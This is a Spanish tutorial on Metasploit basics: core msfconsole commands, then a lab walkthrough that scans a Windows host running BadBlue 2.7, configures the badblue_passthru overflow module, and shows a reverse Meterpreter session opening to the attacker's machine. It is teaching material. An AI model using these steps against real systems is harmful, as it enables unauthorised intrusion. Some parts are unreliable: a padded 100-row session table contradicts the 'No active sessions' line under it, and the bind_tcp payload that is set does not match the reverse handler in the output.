



PRIMEROS PASOS MSF

1.

COMANDOS BÁSICOS

COMANDOS BÁSICOS

Comandos básicos de la consola de **Metasploit** a través de ***msfconsole***

*Back, Background,
Check, Exploit,
Info, Help, Route,
Run, Save,
Search, Sessions,
Set & Setg, Show,
Unset & Unsetg,
Use*

COMANDOS BÁSICOS (HELP)

Help: Lista los comandos disponibles clasificados en comandos de *core* y de *ddbb*.

```
msf > help

Core Commands
=====

Command      Description
-----
?             Help menu
advanced      Displays advanced options for one or more modules
back          Move back from the current context
banner        Display an awesome metasploit banner
cd            Change the current working directory
```

```
Database Backend Commands
=====

Command      Description
-----
creds        List all credentials in the database
db_connect    Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export     Export a file containing the contents of the database
```

COMANDOS BÁSICOS (SEARCH)

Search: Para realizar búsquedas de módulos teniendo en cuenta la gran cantidad que existen.

```
msf > search exploit/windows/mysql/mysql_payload
[!] Module database cache not built yet, using slow search

Matching Modules
=====
```

Name	Disclosure Date	Rank	Description
----	-----	----	-----
exploit/windows/mysql/mysql_payload	2009-01-16	excellent	Oracle MySQL for Microsoft Windows Payload Execution

COMANDOS BÁSICOS (USE)

Use: Nos permite usar el exploit que se quiere ejecutar. Será necesario escribir la ruta hasta el exploit en cuestión.

```
msf > use exploit/windows/mysql/mysql_payload  
msf exploit(mysql_payload) >  
msf exploit(mysql_payload) > █
```

COMANDOS BÁSICOS (INFO)

Info: Proporciona información acerca del módulo que se está ejecutando.

```
msf exploit(mysql_payload) > info

Name: Oracle MySQL for Microsoft Windows Payload Execution
Module: exploit/windows/mysql/mysql_payload
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2009-01-16

Provided by:
Bernardo Damele A. G. <bernardo.damele@gmail.com>
toddb <toddb@metasploit.com>

Available targets:
Id  Name
--  ---
0   Automatic

Basic options:
Name           Current Setting  Required  Description
-----
FORCE_UDF_UPLOAD false           no        Always attempt to ins
PASSWORD       no              The password for the
```

COMANDOS BÁSICOS (SHOW)

Show: Mostrar los módulos de un determinado tipo o todos (*Payloads*, *Encoders*, *Post*, *Options*).

```
msf exploit(mysql_payload) > show encoders
```

```
Compatible Encoders
```

```
=====
```

Name	Disclosure Date	Rank	Description
----	-----	----	-----
cmd/powershell_base64		excellent	Powershell Base64 Command Encoder
generic/eicar		manual	The EICAR Encoder
generic/none		normal	The "none" Encoder
mipsbe/byte_xori		normal	Byte XORi Encoder
mipsbe/longxor		normal	XOR Encoder
mipsle/byte_xori		normal	Byte XORi Encoder
mipsle/longxor		normal	XOR Encoder

COMANDOS BÁSICOS (BACK)

Back: Para salirse del módulo que se está ejecutando.

```
msf exploit(mysql_payload) >  
msf exploit(mysql_payload) >  
msf exploit(mysql_payload) >  
msf exploit(mysql_payload) >  
msf exploit(mysql_payload) > back  
msf >  
msf > █
```

COMANDOS BÁSICOS (SET & SETG)

Set & Setg: Comandos para configurar los parámetros de los módulos. *Set* asigna el valor al parámetro de ese determinado módulo mientras que *setg* lo asigna de forma global.

```
msf exploit(mysql_payload) >  
msf exploit(mysql_payload) > set RHOST 172.16.1.2  
RHOST => 172.16.1.2  
msf exploit(mysql_payload) >
```

COMANDOS BÁSICOS (UNSET & UNSETG)

Unset & Unsetg: Usado para desasignar los valores establecidos con los comandos *set* y *setg* vistos anteriormente

```
msf exploit(mysql_payload) >
msf exploit(mysql_payload) > unset RHOST
Unsetting RHOST...
msf exploit(mysql_payload) > show options

Module options (exploit/windows/mysql/mysql_payload):
```

Name	Current Setting	Required	Description
FORCE UDF_UPLOAD	false	no	Always attempt
PASSWORD		no	The password
RHOST		yes	The target address
RPORT	3306	yes	The target port
USERNAME	root	no	The username

COMANDOS BÁSICOS (RUN & EXPLOIT)

Run: Comando para ejecutar un módulo auxiliar.

```
msf auxiliary(tcp) > set RHOSTS 172.16.123.2
RHOSTS => 172.16.123.2
msf auxiliary(tcp) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Exploit: Similar a *run* y se usa para ejecutar un *exploit*. Si la ejecución es exitosa se establece una conexión con la máquina conocida como sesión.

COMANDOS BÁSICOS (CHECK & SESSIONS)

Check: permite saber si el exploit tendrá éxito sin lanzar el script (para aquellos intrusivos)

Sessions: Permite interactuar con las sesiones obtenidas después de la ejecución del exploit. Funciones como *-l*: listar, *-i*: interactuar con alguna sesión, *-k*: terminar con una sesión.

```
msf > sessions -l  
  
Active sessions  
=====
```

ID	Session
1	192.168.1.100
2	192.168.1.101
3	192.168.1.102
4	192.168.1.103
5	192.168.1.104
6	192.168.1.105
7	192.168.1.106
8	192.168.1.107
9	192.168.1.108
10	192.168.1.109
11	192.168.1.110
12	192.168.1.111
13	192.168.1.112
14	192.168.1.113
15	192.168.1.114
16	192.168.1.115
17	192.168.1.116
18	192.168.1.117
19	192.168.1.118
20	192.168.1.119
21	192.168.1.120
22	192.168.1.121
23	192.168.1.122
24	192.168.1.123
25	192.168.1.124
26	192.168.1.125
27	192.168.1.126
28	192.168.1.127
29	192.168.1.128
30	192.168.1.129
31	192.168.1.130
32	192.168.1.131
33	192.168.1.132
34	192.168.1.133
35	192.168.1.134
36	192.168.1.135
37	192.168.1.136
38	192.168.1.137
39	192.168.1.138
40	192.168.1.139
41	192.168.1.140
42	192.168.1.141
43	192.168.1.142
44	192.168.1.143
45	192.168.1.144
46	192.168.1.145
47	192.168.1.146
48	192.168.1.147
49	192.168.1.148
50	192.168.1.149
51	192.168.1.150
52	192.168.1.151
53	192.168.1.152
54	192.168.1.153
55	192.168.1.154
56	192.168.1.155
57	192.168.1.156
58	192.168.1.157
59	192.168.1.158
60	192.168.1.159
61	192.168.1.160
62	192.168.1.161
63	192.168.1.162
64	192.168.1.163
65	192.168.1.164
66	192.168.1.165
67	192.168.1.166
68	192.168.1.167
69	192.168.1.168
70	192.168.1.169
71	192.168.1.170
72	192.168.1.171
73	192.168.1.172
74	192.168.1.173
75	192.168.1.174
76	192.168.1.175
77	192.168.1.176
78	192.168.1.177
79	192.168.1.178
80	192.168.1.179
81	192.168.1.180
82	192.168.1.181
83	192.168.1.182
84	192.168.1.183
85	192.168.1.184
86	192.168.1.185
87	192.168.1.186
88	192.168.1.187
89	192.168.1.188
90	192.168.1.189
91	192.168.1.190
92	192.168.1.191
93	192.168.1.192
94	192.168.1.193
95	192.168.1.194
96	192.168.1.195
97	192.168.1.196
98	192.168.1.197
99	192.168.1.198
100	192.168.1.199

```
No active sessions.
```

COMANDOS BÁSICOS (BACKGROUND & SAVE)

Background: manda a segundo plano la sesión para ejecutar comandos desde la consola.

Save: permite guardar la configuración actual de la consola de *metasploit* en un fichero. Muy útil cuando las auditorías son largas. Al ejecutar de nuevo la consola cargará el fichero de configuración.

2.

EXPLOTANDO VULNERABILIDADES

EXPLOTACIÓN

Llegados a la fase de explotación se da por hecho que ya se ha realizado la fase de *descubrimiento de hosts, puertos, servicios y posibles vulnerabilidades*.

Escenario:

S.O. Windows

BadBlue 2.7



ESCANEEO

Al escanear el equipo se pueden ver los puertos y servicios corriendo con la versión de los mismos.

```
root@kali:~# nmap 172.16.123.135/32 -sV

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2017-03-01 04:54 UTC
Nmap scan report for 172.16.123.135
Host is up (0.00051s latency).
Not shown: 992 filtered ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         BadBlue httpd 2.7
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
```

Se busca si existen vulnerabilidades para dicha versión de ese servicio.

#	CVE ID	CWE ID	# of Exploits	Vulnerability Type(s)	Publish Date	Update Date	Score	Gained Access Level	Access	Complexity	Authentication	Conf.	Integ.	Avail.
1	CVE-2008-2003 264			DoS Exec Code	2008-04-28	2009-01-29	7.5	User	Remote	Low	Not required	Partial	Partial	Partial
BadBlue 2.72 Personal Edition stores multiple programs in the web document root with insufficient access control, which allows remote attackers to (1) cause a denial of service via multiple invocations of <code>uninst.exe</code> , and have an unknown impact via (2) <code>badblue.exe</code> and (3) <code>dyndns.exe</code> . NOTE: this can be leveraged for arbitrary remote code execution in conjunction with CVE-2007-6378.														
2	CVE-2007-6379 16			+Info	2007-12-14	2008-11-15	5.0	None	Remote	Low	Not required	Partial	None	None
BadBlue 2.72b and earlier allows remote attackers to obtain sensitive information via an invalid browse parameter, which reveals the installation path in an error message.														
3	CVE-2007-6378 22			Dir. Trav.	2007-12-14	2008-11-15	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
Directory traversal vulnerability in <code>upload.dll</code> in BadBlue 2.72b and earlier allows remote attackers to create or overwrite arbitrary files via a <code>..</code> (dot dot) in the filename parameter.														
4	CVE-2007-6377 119		1	Exec Code Overflow	2007-12-14	2009-08-19	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
Stack-based buffer overflow in the <code>PassThru</code> functionality in <code>ext.dll</code> in BadBlue 2.72b and earlier allows remote attackers to execute arbitrary code via a long query string.														
Total number of vulnerabilities : 4 Page : 1 (This Page)														

¿EXPLOITS DISPONIBLES?

... y para dichas vulnerabilidades,
¿hay exploits publicados?

```
msf >
msf > search badblue
[!] Module database cache not built yet, using slow search

Matching Modules
=====
```

Name	Disclosure Date	Rank	Description
exploit/windows/http/badblue_ext_overflow	2003-04-20	great	BadBlue 2.5 EXT.dll Buffer Overflow
exploit/windows/http/badblue_passthru	2007-12-10	great	BadBlue 2.72b PassThru Buffer Overflow

CONFIGURACIÓN DEL EXPLOIT

Se usará el comando *use* para ejecutar este exploit: *# use /exploit/windows/http/badblue_passthru*

Con *# show options* se podrán ver los parámetros necesarios

```
msf exploit(badblue_passthru) > show options
```

```
Module options (exploit/windows/http/badblue_passthru):
```

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port]
RHOST		yes	The target address
RPORT	80	yes	The target port
SSL	false	no	Negotiate SSL/TLS for outgoing connections
VHOST		no	HTTP server virtual host

PARÁMETROS DEL EXPLOIT

Se añade el único parámetro que hace falta en este laboratorio, RHOST (equipo a atacar)

```
msf exploit(badblue_passthru) > set RHOST 172.16.123.135
RHOST => 172.16.123.135
msf exploit(badblue_passthru) > show options
```

Module options (exploit/windows/http/badblue_passthru):

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOST	172.16.123.135	yes	The target address
RPORT	80	yes	The target port
SSL	false	no	Negotiate SSL/TLS for outgoing connections
VHOST		no	HTTP server virtual host

PAYLOADS

Configurado exploit > elección de payload

Se suele buscar obtener una sesión meterpreter

```
payload/python/meterpreter_bind_tcp  
payload/python/meterpreter_reverse_http  
payload/python/meterpreter_reverse_https  
payload/python/meterpreter_reverse_tcp  
payload/python/shell_reverse_tcp
```

bind: conexión directa hacia el host víctima

reverse: conexión desde el host de la víctima hacia la máquina del atacante

set payload windows/meterpreter/bind_tcp

EJECUCIÓN

Exploit (✓), Payload (✓) > Ejecutarlo

```
msf exploit(badblue_passthru) >
msf exploit(badblue_passthru) > exploit

[*] Started reverse TCP handler on 172.16.123.130:4444
[*] Trying target BadBlue EE 2.7 Universal...
[*] Sending stage (957999 bytes) to 172.16.123.135
[*] Meterpreter session 1 opened (172.16.123.130:4444 -> 172.16.123.135:49260)

meterpreter > █
```

> Script ejecutado correctamente

> Payload devuelve la sesión meterpreter